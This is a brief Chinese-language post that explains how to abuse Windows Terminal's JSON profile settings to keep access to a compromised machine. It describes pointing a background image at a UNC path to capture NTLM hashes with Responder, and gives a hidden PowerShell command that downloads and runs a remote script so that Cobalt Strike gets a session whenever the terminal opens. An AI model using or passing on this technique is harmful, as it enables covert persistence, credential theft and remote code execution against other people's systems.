windows terminal是什么？
由于其方便可自定义等特性，被人所喜欢，今天我们就来聊一聊使用该工具进行权限维持。
由于其支持个人配置，所以我们可以在这个方面做文章，其配置文件为json文件，具体格式可参考微软给出的文档(https://docs.microsoft.com/en-us/windows/terminal/customize-settings/profile-settings)。
1、hash获取
在背景图片哪里设置为UNC路径，然后使用response工具进行监听，当开启指定终端时，即可获取到目标机器的hash
hash
2、反弹会话
在其属性中可以设置启动的文件，且可以带参数，这就导致我们可以任意运行我们的程序。
设置powershell上线
"commandline":"powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.2.114:8088/a'))""
新建窗口后，cs收到会话
注意：让其上线后还能继续使用powershell。
